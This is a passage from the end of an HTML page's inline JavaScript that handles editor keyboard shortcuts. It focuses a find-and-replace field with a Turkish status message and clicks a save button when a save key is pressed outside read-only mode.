                    if (replaceInput) {
                        replaceInput.focus();
                        replaceInput.select();
                        setFindStatus("Degistir alani acik.");
                    }
                    return;
                }
                if (!isSave || readOnly) return;
                event.preventDefault();
                const btn = document.getElementById("saveBtn");
                if (btn) btn.click();
            });
        }
    })();
</script>
</body>
</html>